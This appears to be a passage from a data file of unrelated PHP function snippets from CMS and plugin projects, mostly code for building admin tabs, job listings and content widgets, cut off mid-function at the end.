"function addForm()\n {\n $content = '';\n $template['job_bank_add'] = $this->cObj->getSubpart($this->__getTemplateCode(),\"###ADD_JOB_PLACEHOLDER###\"); \n\n $subPartArray['###CAREERLEVEL###'] = $this->createDropDown($this->job_careerlevel);\n $subPartArray['###FORMNAMEEXTENSIONJOB###'] = $this->prefixId;\n $subPartArray['###FORMNAMEEXTENSION###'] = $this->prefixId;\n $subPartArray[\"###HELP_IMAGE###\"] = t3lib_extMgm::siteRelPath($this->extKey).'images/help.gif';\n $subPartArray['###JOB_BANK_LOCATION###'] = $this->getCountryZone();\n $subPartArray['###QUALIFICATION###'] = $this->createDropDown($this->job_qualifiacation);\n $subPartArray['###SCRIPTNAME_POPUP_HELP_JS###'] = t3lib_extMgm::siteRelPath($this->extKey).'styles/overlib.js';\n $subPartArray[\"###SPONSOR_ID###\"] = $this->sponsorId;\n $subPartArray['###STATUS###'] = $this->createDropDown($this->job_status);\n\n $content .= $this->cObj->substituteMarkerArrayCached($template['job_bank_add'],$subPartArray,array(),array());\n \n return $this->pi_wrapInBaseClass($content);\n\n }",
"public function customersubtab_render_main_screen_function() {\n\t\t\\add_action( 'bp_template_content', array( $this, 'bp_customersubnav_tab_action' ) );\n\t\t\\bp_core_load_template( \\apply_filters( 'bp_core_template_plugin', 'members/single/plugins' ) );\n\t}",
"function setTabs(){\n global $ilTabs, $ilCtrl, $ilAccess, $ilLocator;\n\n // show current quiz round inlcuding link and QR code (deadline)\n if ($ilAccess->checkAccess(\"read\", \"\", $this->object->getRefId())){\n $ilTabs->addTab(\"showCurrentRound\", $this->txt(\"tabmenu_showCurrentRound\"), $ilCtrl->getLinkTarget($this, \"showCurrentRound\"));\n }\n\n // tab for the \"edit quiz\" command\n if ($ilAccess->checkAccess(\"write\", \"\", $this->object->getRefId())){\n $ilTabs->addTab(\"editQuiz\", $this->txt(\"tabmenu_edit_quiz\"), $ilCtrl->getLinkTarget($this, \"editQuiz\"));\n }\n\n // show round results\n if ($ilAccess->checkAccess(\"write\", \"\", $this->object->getRefId())){\n $ilTabs->addTab(\"showResults\", $this->txt(\"tabmenu_show_result\"), $ilCtrl->getLinkTarget($this, \"showResults\"));\n }\n\n // a \"properties\" tab\n if ($ilAccess->checkAccess(\"write\", \"\", $this->object->getRefId())){\n $ilTabs->addTab(\"properties\", $this->txt(\"tabmenu_properties\"), $ilCtrl->getLinkTarget($this, \"editProperties\"));\n $this->addPermissionTab();\n }\n\n // information Tab\n if ($ilAccess->checkAccess(\"write\", \"\", $this->object->getRefId())){\n $ilTabs->addTab(\"info\", $this->txt(\"tabmenu_info\"), $ilCtrl->getLinkTarget($this, \"info\"));\n }\n\n }",
"function elodin_jobs_add_widget_area_after_genesis() {\n if ( !is_singular( 'jobs' ) )\n return;\n\n\tgenesis_widget_area( 'after-single-job', array(\n 'before' => '<div class=\"jobs-widget-wrap-after\">',\n 'after' => '</div>',\n\t) );\n}",
"function training_tabs_callback() {\n ctools_include('menu');\n $tab_1 = array(\n 'title' => 'First tab',\n 'href' => 'training/ctools/tabs/tab1',\n );\n $tab_2 = array(\n 'title' => 'Second tab',\n 'href' => 'training/ctools/tabs/tab2',\n );\n ctools_menu_add_tab($tab_1);\n ctools_menu_add_tab($tab_2);\n if (arg(3) == 'tab2') {\n return t('Tab 2 content');\n }\n\n return t('Tab 1 content');\n}",
"function __construct() {\n parent::__construct(\n 'tmi-content-area-widget', // Base ID\n esc_html__( 'Content Area', 'tmi' ), // Name\n array( 'description' => esc_html__( 'Display content data', 'tmi' ), ) // Args\n );\n }",
"abstract protected function tabs();",
"public function tab1(){\n $this->layout = new \\stdClass();\n \n if($this->model->getConfigParam('actionimage1')){\n $this->layout->scroll[] = $this->getComponentImage($this->model->getConfigParam('actionimage1'),\n [],\n ['margin' => '120 80 10 80']);\n $margin = 20;\n } else {\n $margin = 140;\n }\n\n $this->layout->scroll[] = $this->getComponentText('{#collect_location_matching#}', array(), array(\n 'padding' => $margin.' 40 10 40',\n 'text-align' => 'center',\n 'font-size' => '27',\n 'font-ios' => 'Lato-Light',\n 'font-android' => 'Lato-Light',\n ));\n\n $onclick[] = $this->getOnclickLocation(['sync_open' => 1]);\n $onclick[] = $this->getOnclickOpenAction('people',false,['sync_open' => 1]);\n\n $this->layout->footer[] = $this->getComponentSpacer('20');\n $this->layout->footer[] = $this->uiKitButtonHollow('{#enable_location#}',[\n 'onclick' => $onclick\n ]);\n $this->layout->footer[] = $this->getComponentSpacer('20');\n\n\n\n return $this->layout;\n }",
"function woocommerce_product_write_panel_tabs(){\n ?>\n <li class=\"custom_tab\">\n <a href=\"#custom_tab_data_ctabs\">\n <?php _e('Custom Tabs', 'GWP'); ?>\n </a>\n </li>\n <?php\n }",
"function generateTabs($pScreenName, $pRestriction = ''){\n if(0 == count($this->getScreens())){\n return '';\n }\n\n $content = '';\n $tabs = array();\n $Screens =& $this->getScreens();\n\n if (\"List\" == $pScreenName){\n if(empty($this->addNewName)){\n $addNewName = $this->SingularRecordName;\n } else {\n $addNewName = $this->addNewName;\n }\n\t\t\t$content = '';\n if($this->AllowAddRecord){\n if('view' == $pRestriction){\n //$content = \"\\$tabs['New'] = array(\\\"\\\", gettext(\\\"No Add New|You cannot add a new {$addNewName} because you don't have permission\\\"), 'disabled');\";\n } else {\n //get first edit screen and insert a tab link to it as \"new\"\n foreach ($Screens as $Screen){\n if ('editscreen' == strtolower(get_class($Screen))){\n\t\t\t\t\t\t\t$content = \"\\$tabs['New'] = array(\\\"edit.php?mdl={$this->ModuleID}&scr={$Screen->name}\\\", gettext(\\\"Add New|Add a new \\\").gettext(\\\"{$addNewName}\\\"));\";\t\n break; //exits loop\n }\n }\n }\n } else {\n // $content = \"\\$tabs['New'] = array(\\\"\\\", gettext(\\\"No Add New|To add a new {$addNewName} you must go to a parent module\\\"), 'disabled');\";\n }\n \n\n //get search screen and insert a tab link to it\n if(count($Screens)){\n foreach ($Screens as $Screen){\n if ('searchscreen' == strtolower(get_class($Screen))){\n $content .= \"\\$tabs['Search'] = array(\\\"search.php?mdl={$this->ModuleID}\\\", gettext(\\\"Search|Search in \\\").gettext(\\\"{$this->PluralRecordName}\\\"));\";\n //$content .= \"\\$tabs['Reports'] = array(\\\"reports.php?mdl={$this->ModuleID}\\\", gettext(\\\"Reports|Reports for \\\").gettext(\\\"{$this->PluralRecordName}\\\"));\";\n\t\t\t\t\t\tif( true == $this->areChartsDefined() ){\n\t\t\t\t\t\t\t$content .= \"\\$tabs['Charts'] = array(\\\"charts.php?mdl={$this->ModuleID}\\\", gettext(\\\"Charts|Charts for \\\").gettext(\\\"{$this->PluralRecordName}\\\"));\";\n\t\t\t\t\t\t}\n } \n }\n }\n if($this->dataCollectionForm){\n $content .= \"\\$tabs['DataCollection'] = array(\\\"dataCollectionForm.php?mdl={$this->ModuleID}\\\", gettext(\\\"Blank Form|Blank form for \\\").gettext(\\\"{$this->PluralRecordName}\\\"), 'download');\";\n }\n } elseif (\"ListCtxTabs\" == $pScreenName){\n\t\t\n//$tabs['List'] = Array(\"list.php?$qs\", gettext(\"List|View the list of /**plural_record_name**/\"));\n\t\t\t$content = \"\\$tabs['List'] = array(\\\"list.php?\\$qs\\\", gettext(\\\"List|View the list of \\\").gettext(\\\"{$this->PluralRecordName}\\\"));\";\n\t\t\tif(empty($this->addNewName)){\n $addNewName = $this->SingularRecordName;\n } else {\n $addNewName = $this->addNewName;\n }\n\n if($this->AllowAddRecord){\n if('view' == $pRestriction){\n // $content .= \"\\$tabs['New'] = array(\\\"\\\", gettext(\\\"No Add New|You cannot add a new {$addNewName} because you don't have permission\\\"), 'disabled');\";\n } else {\n //get first edit screen and insert a tab link to it as \"new\"\n foreach ($Screens as $Screen){\n if ('editscreen' == strtolower(get_class($Screen))){\n\t\t\t\t\t\t\t$content .= \"\\$tabs['New'] = array(\\\"edit.php?mdl={$this->ModuleID}&scr={$Screen->name}\\\", gettext(\\\"Add New|Add a new \\\").gettext(\\\"{$addNewName}\\\"));\";\t\n\n break; //exits loop\n }\n }\n }\n } else {\n //$content = \"\\$tabs['New'] = array(\\\"\\\", gettext(\\\"No Add New|To add a new {$addNewName} you must go to a parent module\\\"), 'disabled');\";\n }\n \n\n //get search screen and insert a tab link to it\n if(count($Screens)){\n foreach ($Screens as $Screen){\n if ('searchscreen' == strtolower(get_class($Screen))){\n $content .= \"\\$tabs['Search'] = array(\\\"search.php?mdl={$this->ModuleID}\\\", gettext(\\\"Search|Search in \\\").gettext(\\\"{$this->PluralRecordName}\\\"));\";\n\t\t\t\t\t\t//$content .= \"\\$tabs['Reports'] = array(\\\"reports.php?mdl={$this->ModuleID}\\\", gettext(\\\"Reports|Reports for \\\").gettext(\\\"{$this->PluralRecordName}\\\"));\";\n\t\t\t\t\t\tif( true == $this->areChartsDefined() ){\n\t\t\t\t\t\t\t$content .= \"\\$tabs['Charts'] = array(\\\"charts.php?mdl={$this->ModuleID}\\\", gettext(\\\"Charts|Charts for \\\").gettext(\\\"{$this->PluralRecordName}\\\"));\";\n\t\t\t\t\t\t}\n\t\t\t\t\t} \n }\n }\n if($this->dataCollectionForm){\n $content .= \"\\$tabs['DataCollection'] = array(\\\"dataCollectionForm.php?mdl={$this->ModuleID}\\\", gettext(\\\"Blank Form|Blank form for \\\").gettext(\\\"{$this->PluralRecordName}\\\"), 'download');\";\n }\n\t\t}elseif( \"EditScreenPermissions\" == $pScreenName ){\n\t\t\t$content = '';\n\t\t\tforeach ($Screens as $Screen){\t\t\t\n\t\t\t\tif( 'editscreen' == strtolower(get_class($Screen)) AND isset($Screen->EditPermission) ){\n\t\t\t\t\t$content .= \"\\$EditScrPermission['{$Screen->name}'] = '{$Screen->EditPermission}';\\n\";\t\n\t\t\t\t}\n }\n\t\t\tif( $content != '' ){\n\t\t\t\tforeach ($Screens as $Screen){\t\t\t\n\t\t\t\t\tif( 'editscreen' == strtolower(get_class($Screen)) AND !isset($Screen->EditPermission) ){\n\t\t\t\t\t\t$content .= \"\\$EditScrPermission['{$Screen->name}'] = '{$this->ModuleID}';\\n\";\t\n\t\t\t\t\t}\n }\n\t\t\t}\n\t\t\n\t\t}elseif( \"ListRecordMenu\" == $pScreenName ){ \n\t\t \n\t\t\t$recordMenuCounter = 0;\n\t\t\t\t\n\t\t\tforeach ($Screens as $Screen){\n $linkTo = '';\n $tab = '';\n\t\t\t\t$recordMenu = '';\n\t\t\t\t$recordMenuEntries = '';\n\t\t\t\t\n switch( strtolower(get_class($Screen)) ){\n case \"viewscreen\":\n $handler = \"view.php\"; \n $phrase = \"View|View summary information about a record of type \\\").gettext(\\\"\". $this->SingularRecordName;\n break;\n case \"editscreen\":\n if(!empty($Screen->linkToModuleID)){\n $linkTo = $Screen->linkToModuleID;\n }\n $handler = \"edit.php\";\n\n if (empty($Screen->phrase)){\n $phrase = $Screen->name;\n } else {\n $phrase = $Screen->phrase;\n }\n break;\n case \"searchscreen\":\n $handler = \"search.php\";\n $phrase = \"Search|Search in \\\").' '.gettext(\\\"\". $this->PluralRecordName;\n break;\n case \"listscreen\":\n $handler = \"list.php\";\n $phrase = \"List|View the list of \\\").' '.gettext(\\\"\". $this->PluralRecordName;\n break;\n case \"recordreportscreen\":\n $handler = \"reports.php\";\n $phrase = $Screen->phrase;\n break;\n case \"listreportscreen\":\n $handler = \"reports.php\";\n $phrase = $Screen->phrase;\n break;\n case \"anoneditscreen\":\n continue;\n break;\n default:\n print_r($Screens);\n die(\"unknown screen type: '\".get_class($Screen).\"'\\n\");\n }\n\n\t\t\t\t$recordMenu = '$recordMenuEntries['.$Screen->name.']='.\"'{ text: \\\"'.strip_tags( ShortPhrase( gettext(\\\"{$phrase}\\\") ) ).'\\\" }';\\n\";\n\n $tabConditionModuleID = '';\n if(!empty($Screen->tabConditionModuleID)){\n $tabConditionModuleID = \", '{$Screen->tabConditionModuleID}'\";\n }\n\n\t\t\t\tif( ( \"view\" == $pRestriction && \"viewscreen\" == strtolower(get_class($Screen)) ) \n\t\t\t\t || (\"view\" != $pRestriction) ){\n\t\t\t\t\tif($linkTo == ''){\t\t\t\t\t\t\n\t\t\t\t\t\t$recordMenuURL = '$recordMenuURL['.$Screen->name.']= '.\"\\\"$handler?scr={$Screen->name}&mdl={$this->ModuleID}\\\";\\n\"; \n\t\t\t\t\t} else {\n\t\t\t\t\t\t$recordMenuURL = '$recordMenuURL['.$Screen->name.']= '.\"\\\"$handler?scr={$Screen->name}&mdl=$linkTo\\\";\\n\"; \n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\t\t\t\n if( in_array(strtolower(get_class($Screen)), array('viewscreen', 'editscreen', 'recordreportscreen')) ){ \n\t\t\t\t\t$recordMenuList .= $recordMenu;\n\t\t\t\t\t$recordMenuURLList .= $recordMenuURL;\t\t\t\t\t\n }\n }\t\t\t\n\t\t\t\n\t\t\t$content = $recordMenuList.$recordMenuURLList;\n\t\n\t\t}else {\n print \"m. GenerateTabs: current screen $pScreenName\\n\";\n\n $currentScreen = $this->getScreen($pScreenName);\n\n foreach ($Screens as $Screen){\n $linkTo = '';\n $tab = '';\n switch(strtolower(get_class($Screen))){\n case \"viewscreen\":\n $handler = \"view.php\";\n /* if(in_array($this->SingularRecordName[0], array('a','e','i','o','h','y','A','E','I','O','H','Y'))){\n $a = 'an';\n } else {\n $a = 'a';\n } */\n $phrase = \"View|View summary information about a record of type \\\").gettext(\\\"\". $this->SingularRecordName;\n break;\n case \"editscreen\":\n if(!empty($Screen->linkToModuleID)){\n $linkTo = $Screen->linkToModuleID;\n }\n $handler = \"edit.php\";\n\n if (empty($Screen->phrase)){\n $phrase = $Screen->name;\n } else {\n $phrase = $Screen->phrase;\n }\n break;\n case \"searchscreen\":\n $handler = \"search.php\";\n $phrase = \"Search|Search in \\\").' '.gettext(\\\"\". $this->PluralRecordName;\n break;\n case \"listscreen\":\n $handler = \"list.php\";\n $phrase = \"List|View the list of \\\").' '.gettext(\\\"\". $this->PluralRecordName;\n break;\n case \"recordreportscreen\":\n $handler = \"reports.php\";\n $phrase = $Screen->phrase;\n break;\n case \"listreportscreen\":\n $handler = \"reports.php\";\n $phrase = $Screen->phrase;\n break;\n case \"anoneditscreen\":\n continue;\n break;\n default:\n print_r($Screens);\n die(\"unknown screen type: '\".get_class($Screen).\"'\\n\");\n }\n\n $tabConditionModuleID = '';\n if(!empty($Screen->tabConditionModuleID)){\n $tabConditionModuleID = \", '{$Screen->tabConditionModuleID}'\";\n }\n\n if ($pScreenName != $Screen->name){\n if ( ( \"view\" == $pRestriction \n\t\t\t\t\t && ( \"viewscreen\" == strtolower( get_class($Screen) ) \n\t\t\t\t\t || \"recordreportscreen\" == strtolower( get_class($Screen) ) ) ) \n\t\t\t\t\t || (\"view\" != $pRestriction) ){\n\n //insert link\n if($linkTo == ''){\n $tab = \" \\$tabs['{$Screen->name}'] = array( \\\"$handler?scr={$Screen->name}&\\$tabsQS\\\", gettext(\\\"{$phrase}\\\") $tabConditionModuleID);\\n\";\n } else {\n $tab = \" \\$tabs['{$Screen->name}'] = array( \\\"$handler?mdl=$linkTo&rid=\\$recordID\\\", gettext(\\\"{$phrase}\\\") $tabConditionModuleID);\\n\";\n }\n }\n } else {\n //Current screen: insert name only\n $tab = \" \\$tabs['{$Screen->name}'] = array( \\\"\\\", gettext(\\\"{$phrase}\\\") $tabConditionModuleID);\\n\";\n }\n\n if(in_array(strtolower(get_class($Screen)), array('viewscreen', 'editscreen', 'recordreportscreen'))){\n $content .= $tab;\n }\n }\n }\n\n return $content;\n }",
"protected function _addTab(\n TDProject_Core_Interfaces_Block_Widget_Tab $tab) {\n \t$this->addBlock($tab);\n \treturn $tab;\n }",
"public function __toString() {\n $html = '<' . $this->_confs['container_tag'] . ' class=\"' . $this->_confs['container_class'] . '\">';\n if (count($this->_tabs))\n $html .= '<ul class=\"' . $this->_confs['container_menu_class'] . '\">';\n $isFirst = true;\n foreach ($this->_tabs as $id => $tab) {\n $className = ($isFirst) ? 'active' : '';\n if (!$tab->isEnabled()) {\n $className .= ' disabled';\n $id = 'disable';\n }\n $html .= '<li class=\"' . $className . '\"><a href=\"#' . $id . '\">' . $tab->getTitle() . '</a></li>';\n $isFirst = false;\n }\n if (count($this->_tabs))\n $html .= '</ul>';\n $isFirst = true;\n foreach ($this->_tabs as $id => $tab) {\n $display = 'none';\n $html .= '<div id=\"' . $id . '\" class=\"' . $this->_confs['cotainer_tab_class'] . '\" style=\"display:' . $display . ';\">';\n $html .= $tab->getContent();\n $html .= '</div>';\n $isFirst = false;\n }\n $html .= '</' . $this->_confs['container_tag'] . '>';\n return $html;\n }",
"public function tab_contents() {\n\t\techo 'test';\n\t}",
"public function processContainer()\n {\n $class = \"container\";\n if ($this->hasFluid()) $class .= \"-fluid\";\n $this->add($this->createWrapper('div', ['class' => $class], $this->stringifyHeader() . $this->stringifyCollapse()));\n }",
"public function jobs()\n {\n return view('admin.jobs')->with('jobs',JobRegister::all());\n }",
"public function index()\n {\n $lists = $this->jobRepository->getListJob(20);\n foreach ($lists as $key => $item) {\n $lists[$key]->cate = $this->categoryRepository->find($item->category_id);\n $lists[$key]->author = $this->getAuthor($item->user_id);\n }\n\n return view('admin::jobs.job_list', compact('lists'));\n }",
"public function settingssubtab_render_main_screen_function() {\n\t\t\\add_action( 'bp_template_content', array( $this, 'bp_settingssubnav_tab_action' ) );\n\t\t\\bp_core_load_template( \\apply_filters( 'bp_core_template_plugin', 'members/single/plugins' ) );\n\t\t// echo do_shortcode ( '[youzer_groups per_page=\"10\"]' );\n\t}",
"public function get_content() {\n \tglobal $PAGE;\n\t \n $this->page->requires->js_call_amd(\"block_inlinetrainer/demo\", \"run\", [\"#block_inlinetrainer-body\"]);\n\n\t $this->content = new stdClass();\n $this->content->text = '<b id=\"block_inlinetrainer-title\"></b>';\n\t $this->content->text .= '<ol id=\"block_inlinetrainer-body\"><i>Loading steps...</li></ol>';\n $this->content->text .= \"<style type='text/css'>\n .block_inlinetrainer_overlay {\n position: fixed;\n top: 0;\n left: 0;\n width: 100%;\n height: 100%;\n background-color: #000;\n filter:alpha(opacity=50);\n -moz-opacity:0.5;\n -khtml-opacity: 0.5;\n opacity: 0.5;\n z-index: 10000;\n }\n .block_inlinetrainer_hint{\n position: relative;\n padding:5px;\n /*-webkit-box-shadow: 4px 4px 15px 1px #333; \n -moz-box-shadow: 4px 4px 15px 1px #333; \n box-shadow: 4px 4px 15px 1px #333; */\n }\n </style>\";\n\t return $this->content;\n\t}",
"public function __construct() {\n\n\t\t\t// Register our styles\n\t\t\tadd_action( 'admin_init', array( $this, 'register_styles' ) );\n\n\t\t\t// Add our styles conditionally\n\t\t\tadd_action( 'admin_enqueue_scripts', array( $this, 'add_styles' ) );\n\n\t\t\t// Add our new content section\n\t\t\t$this->add_content_section(\n\t\t\t\tarray(\n\t\t\t\t\t'name' => $this->section_name,\n\t\t\t\t\t'tab' => $this->tab,\n\t\t\t\t\t'page' => $this->page,\n\t\t\t\t\t'callback' => array( $this, 'reports_output' )\n\t\t\t\t)\n\t\t\t);\n\t\t\t$this->add_content_section(\n\t\t\t\tarray(\n\t\t\t\t\t'name' => 'Your Activity',\n\t\t\t\t\t'tab' => 'Activity',\n\t\t\t\t\t'page' => 'Account',\n\t\t\t\t\t'callback' => array( $this, 'activity_output' )\n\t\t\t\t)\n\t\t\t);\n\n\t\t\t// Set the plugin path\n\t\t\t$this::$_path = plugin_dir_path( __FILE__ );\n\t\t}",
"public function index()\n {\n\n $this->global['pageTitle'] = 'Talend Job Seeker : Input Components';\n\n $data[\"jobs\"] = $this->model->listJobs();\n $data[\"role\"] = $this->isManager();\n \n $this->loadViews(\"JobsTable\", $this->global, $data, NULL);\n }",
"public function init() {\n //echo CHtml::openTag('div', array('class' => $this->cssClass, 'style' => 'width:'.$this->width.'px;height:'.$this->height.'px;'));\n echo '<div class=\"ax-panel\">';\n if ($this->showHeader)\n $this->renderHeader();\n $wd = $this->width-10;\n if(!empty($this->height)){\n $hg = $this->height-49;\n echo '<div class=\"'.$this->cssBodyClass.'\" style=\"height: '.$hg.'px;overflow-y:auto;\">';\n }\n else\n echo '<div class=\"'.$this->cssBodyClass.'\">';\n //echo '<div style=\"padding: 5px 5px 0px; width: '.$wd.'px; left: 0px; top: 26px; height: '.$hg.'px; overflow:auto;\" class=\"x-panel-body x-panel-body-default-framed x-docked-noborder-top x-docked-noborder-right x-docked-noborder-bottom x-docked-noborder-left\">';\n }",
"public function bp_customersubnav_tab_action() {\n\t\techo \\do_shortcode( '[elementor-template id=\"36015\"]' );\n\t}",
"protected function setup_tabs() {\n\n\t\t// If there's a remote info file give it priority and override any existing parameters.\n\t\tif ( $url = $this->browser_args['remote_info'] ) {\n\t\t\t$info = $this->get_remote_info( $url );\n\n\t\t\tif ( ! empty( $info ) ) {\n\t\t\t\t$this->browser_args = wp_parse_args( $info, $this->browser_args );\n\t\t\t}\n\n\t\t}\n\n\t\t// Display the 'popular' tab if enabled.\n\t\tif ( 'true' == $this->browser_args['show_popular'] ) {\n\n\t\t\t$this->browser_args['tabs']['popular'] = array(\n\t\t\t\t'name' => __( 'Popular', 'wp-shp-browser' ),\n\t\t\t\t'url' => ''\n\t\t\t);\n\n\t\t}\n\n\t\t// Set the default tab if not already set.\n\t\tif ( ! $this->browser_args['default_tab'] ) {\n\t\t\t$default_tab = array_keys( $this->browser_args['tabs'] );\n\t\t\t$default_tab = $default_tab[0];\n\n\t\t\t$this->browser_args['default_tab'] = $default_tab;\n\t\t}\n\n\t}",
"protected function render()\n {\n $aSettings = $this->get_settings_for_display();\n \n $aTabIDs = [];\n ?>\n <!--==================================================================== \n Start hero section\n =====================================================================-->\n <section class=\"<?php echo esc_attr($aSettings['extra_classes']).' developer-design mb-200 rmb-100'; ?>\">\n <div class=\"container\">\n <?php if (!empty($aSettings['title']) || !empty($aSettings['description'])) : ?>\n <div class=\"cloud-section-title mb-75 text-center\">\n <?php if (!empty($aSettings['title'])) : ?>\n <h2><?php echo esc_html($aSettings['title']); ?></h2>\n <?php endif; ?>\n <?php if (!empty($aSettings['description'])) : ?>\n <p><?php echo esc_html($aSettings['description']); ?></p>\n <?php endif; ?>\n </div>\n <?php endif; ?>\n \n <div class=\"developer-design-tab\">\n <div class=\"nav nav-pills\" role=\"tablist\" aria-orientation=\"vertical\">\n <?php\n foreach ($aSettings['tabs'] as $aTab) :\n $tabID = uniqid('dd-pills-');\n $aTabIDs[] = $tabID;\n ?>\n <a class=\"nav-link\"\n id=\"<?php echo $tabID.'-tab'; ?>\"\n data-toggle=\"pill\" href=\"#<?php echo $tabID; ?>\"\n role=\"tab\"\n aria-controls=\"<?php echo $tabID; ?>\" aria-selected=\"false\">\n <?php if (!empty($aTab['tab_name'])) : ?>\n <h5><?php echo esc_html($aTab['tab_name']); ?></h5>\n <?php endif; ?>\n <?php if (!empty($aTab['tab_description'])) : ?>\n <p><?php echo esc_html($aTab['tab_description']); ?></p>\n <?php endif; ?>\n </a>\n <?php endforeach; ?>\n </div>\n <div class=\"tab-content\">\n <?php\n foreach ($aSettings['tabs'] as $order => $aTab) :\n ?>\n <div class=\"tab-pane fade\" id=\"<?php echo $aTabIDs[$order]; ?>\" role=\"tabpanel\"\n aria-labelledby=\"dd-pills-one-tab\">\n <?php if (!empty($aTab['right_image']['url'])) : ?>\n <img src=\"<?php echo esc_url($aTab['right_image']['url']); ?>\" alt=\"<?php echo\n esc_attr($aTab['tab_name']); ?>\">\n <?php endif; ?>\n <?php if (!empty($aTab['right_content'])) : ?>\n <div class=\"tab-right-content\"><?php echo $aTab['right_content']; ?></div>\n <?php endif; ?>\n </div>\n <?php endforeach; ?>\n </div>\n </div>\n \n </div>\n </section>\n \n <?php\n }",
"function sp_content_tabgroup_sc( $atts, $content = null ) {\n\n\t\tif( !$GLOBALS['tabs_groups'] )\n\t\t\t$GLOBALS['tabs_groups'] = 0;\n\t\t\t\n\t\t$GLOBALS['tabs_groups']++;\n\n\t\t$GLOBALS['tab_count'] = 0;\n\n\t\t$tabs_count = 1;\n\n\t\tdo_shortcode( $content );\n\n\t\tif( is_array( $GLOBALS['tabs'] ) ) {\n\n\t\t\tforeach( $GLOBALS['tabs'] as $tab ) {\n\n\t\t\t\t$tabs[] = '<li><a href=\"#tab-' . $GLOBALS['tabs_groups'] . '-' . $tabs_count . '\">' . $tab['title'] . '</a></li>';\n\t\t\t\t$panes[] = '<div id=\"tab-' . $GLOBALS['tabs_groups'] . '-' . $tabs_count++ . '\" class=\"tab-content\">' . do_shortcode( $tab['content'] ) . '</div>';\n\n\t\t\t}\n\n\t\t\t$return = \"\\n\". '<ul class=\"tabs-nav\">' . implode( \"\\n\", $tabs ) . '</ul>' . \"\\n\" . '<div class=\"tabs-container\">' . implode( \"\\n\", $panes ) . '</div>' . \"\\n\";\n\t\t}\n\n\t\treturn $return;\n\n\t}",
"private function installModuleTabs()\n {\n foreach ($this->admin_tabs as $value) {\n @copy(_PS_MODULE_DIR_ . $this->name . '/logo.png', _PS_IMG_DIR_ . 't/' . $value['class'] . '.png');\n $parent_tab = new Tab();\n $parent_tab->name[$this->context->language->id] = $this->l($value['title']);\n $parent_tab->class_name = $value['class'];\n $parent_tab->id_parent = 0; // Home tab\n $parent_tab->module = $this->name;\n $parent_tab->add();\n \n if (isset($value['children'])) {\n foreach ($value['children'] as $k => $v) {\n $tab = new Tab();\n // Need a foreach for the language\n foreach (Language::getLanguages(true) as $lang)\n $tab->name[$lang['id_lang']] = $this->l($v);\n \n $tab->class_name = $k;\n $tab->id_parent = $parent_tab->id;\n $tab->module = $this->name;\n $tab->add();\n }\n \n foreach ($value['hidden'] as $k => $v) {\n $tab = new Tab();\n // Need a foreach for the language\n foreach (Language::getLanguages(true) as $lang)\n $tab->name[$lang['id_lang']] = $this->l($v);\n \n $tab->class_name = $k;\n $tab->id_parent = - 1;\n $tab->module = $this->name;\n $tab->add();\n }\n }\n }\n \n return true;\n }",
"private function createButtonsTab()\n {\n $tab = $this->createTab(\n 'buttons_tab',\n '__responsive_tab_buttons__',\n [\n 'attributes' => [\n 'autoScroll' => true,\n ],\n ]\n );\n\n $attributes = array_merge($this->fieldSetDefaults, ['height' => 90]);\n $fieldSetButtons = $this->createFieldSet(\n 'buttons_fieldset',\n '__responsive_tab_buttons_fieldset_global__',\n ['attributes' => $attributes]\n );\n\n $fieldSetButtons->addElement(\n $this->createTextField(\n 'btn-font-size',\n '@btn-font-size',\n $this->themeFontDefaults['btn-font-size']\n )\n );\n $fieldSetButtons->addElement(\n $this->createTextField(\n 'btn-icon-size',\n '@btn-icon-size',\n $this->themeFontDefaults['btn-icon-size']\n )\n );\n\n $tab->addElement($fieldSetButtons);\n\n $attributes = array_merge($this->fieldSetDefaults, ['height' => 200]);\n $fieldSetDefaultButtons = $this->createFieldSet(\n 'buttons_default_fieldset',\n '__responsive_tab_buttons_fieldset_default__',\n ['attributes' => $attributes]\n );\n\n $fieldSetDefaultButtons->addElement(\n $this->createColorPickerField(\n 'btn-default-top-bg',\n '@btn-default-top-bg',\n $this->themeColorDefaults['btn-default-top-bg']\n )\n );\n $fieldSetDefaultButtons->addElement(\n $this->createColorPickerField(\n 'btn-default-bottom-bg',\n '@btn-default-bottom-bg',\n $this->themeColorDefaults['btn-default-bottom-bg']\n )\n );\n $fieldSetDefaultButtons->addElement(\n $this->createColorPickerField(\n 'btn-default-hover-bg',\n '@btn-default-hover-bg',\n $this->themeColorDefaults['btn-default-hover-bg']\n )\n );\n $fieldSetDefaultButtons->addElement(\n $this->createColorPickerField(\n 'btn-default-text-color',\n '@btn-default-text-color',\n $this->themeColorDefaults['btn-default-text-color']\n )\n );\n $fieldSetDefaultButtons->addElement(\n $this->createColorPickerField(\n 'btn-default-hover-text-color',\n '@btn-default-hover-text-color',\n $this->themeColorDefaults['btn-default-hover-text-color']\n )\n );\n $fieldSetDefaultButtons->addElement(\n $this->createColorPickerField(\n 'btn-default-border-color',\n '@btn-default-border-color',\n $this->themeColorDefaults['btn-default-border-color']\n )\n );\n $fieldSetDefaultButtons->addElement(\n $this->createColorPickerField(\n 'btn-default-hover-border-color',\n '@btn-default-hover-border-color',\n $this->themeColorDefaults['btn-default-hover-border-color']\n )\n );\n\n $tab->addElement($fieldSetDefaultButtons);\n\n $attributes = array_merge($this->fieldSetDefaults, ['height' => 170]);\n $fieldSetPrimaryButtons = $this->createFieldSet(\n 'buttons_primary_fieldset',\n '__responsive_tab_buttons_fieldset_primary__',\n ['attributes' => $attributes]\n );\n\n $fieldSetPrimaryButtons->addElement(\n $this->createColorPickerField(\n 'btn-primary-top-bg',\n '@btn-primary-top-bg',\n $this->themeColorDefaults['btn-primary-top-bg']\n )\n );\n $fieldSetPrimaryButtons->addElement(\n $this->createColorPickerField(\n 'btn-primary-bottom-bg',\n '@btn-primary-bottom-bg',\n $this->themeColorDefaults['btn-primary-bottom-bg']\n )\n );\n $fieldSetPrimaryButtons->addElement(\n $this->createColorPickerField(\n 'btn-primary-hover-bg',\n '@btn-primary-hover-bg',\n $this->themeColorDefaults['btn-primary-hover-bg']\n )\n );\n $fieldSetPrimaryButtons->addElement(\n $this->createColorPickerField(\n 'btn-primary-text-color',\n '@btn-primary-text-color',\n $this->themeColorDefaults['btn-primary-text-color']\n )\n );\n $fieldSetPrimaryButtons->addElement(\n $this->createColorPickerField(\n 'btn-primary-hover-text-color',\n '@btn-primary-hover-text-color',\n $this->themeColorDefaults['btn-primary-hover-text-color']\n )\n );\n\n $tab->addElement($fieldSetPrimaryButtons);\n\n $attributes = array_merge($this->fieldSetDefaults, ['height' => 170]);\n $fieldSetSecondaryButtons = $this->createFieldSet(\n 'buttons_secondary_fieldset',\n 